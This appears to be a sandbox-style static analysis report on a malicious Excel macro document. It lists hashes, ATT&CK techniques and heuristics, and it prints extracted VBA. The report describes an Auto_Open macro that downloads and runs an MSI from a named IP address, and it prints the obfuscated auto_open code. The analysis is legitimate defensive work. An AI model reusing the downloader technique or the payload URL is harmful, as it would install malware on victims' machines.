Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b6176ac911449853…

MALICIOUS

Office (OOXML)

127.4 KB Created: 2009-04-18 19:48:46 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-04
MD5: aaeaa4107a7faf443956c6cd60af5f50 SHA-1: 78a5e31e62c46f93040ddd38717ba12ed2d73b86 SHA-256: b6176ac911449853ad0446abcbb0ff85f0c7a663336961b4893568d0928d2370
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The OOXML file contains a VBA macro with an Auto_Open subroutine that executes a command. This command uses URLDownloadToFileA to download an MSI file from 'http://86.105.252.45/rb1.msi' to 'C:\ProgramData\4412.msi' and then executes it. This indicates a downloader or dropper functionality.

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 773 bytes
SHA-256: b13f366ff2b7b2a2f643ea565c691a808b93f2abf37658936179997d927c0fe4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub auto_open()
ExecuteExcel4Macro (Range("A12") & Range("F16") & Range("A6") + Range("K30") & Range("A28") & Range("A14"))
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 12800 bytes
SHA-256: 51c4dfe19d2b72c439449362bc3ab17aaf91ac9741cc1724b5e4c6fa10a0c87a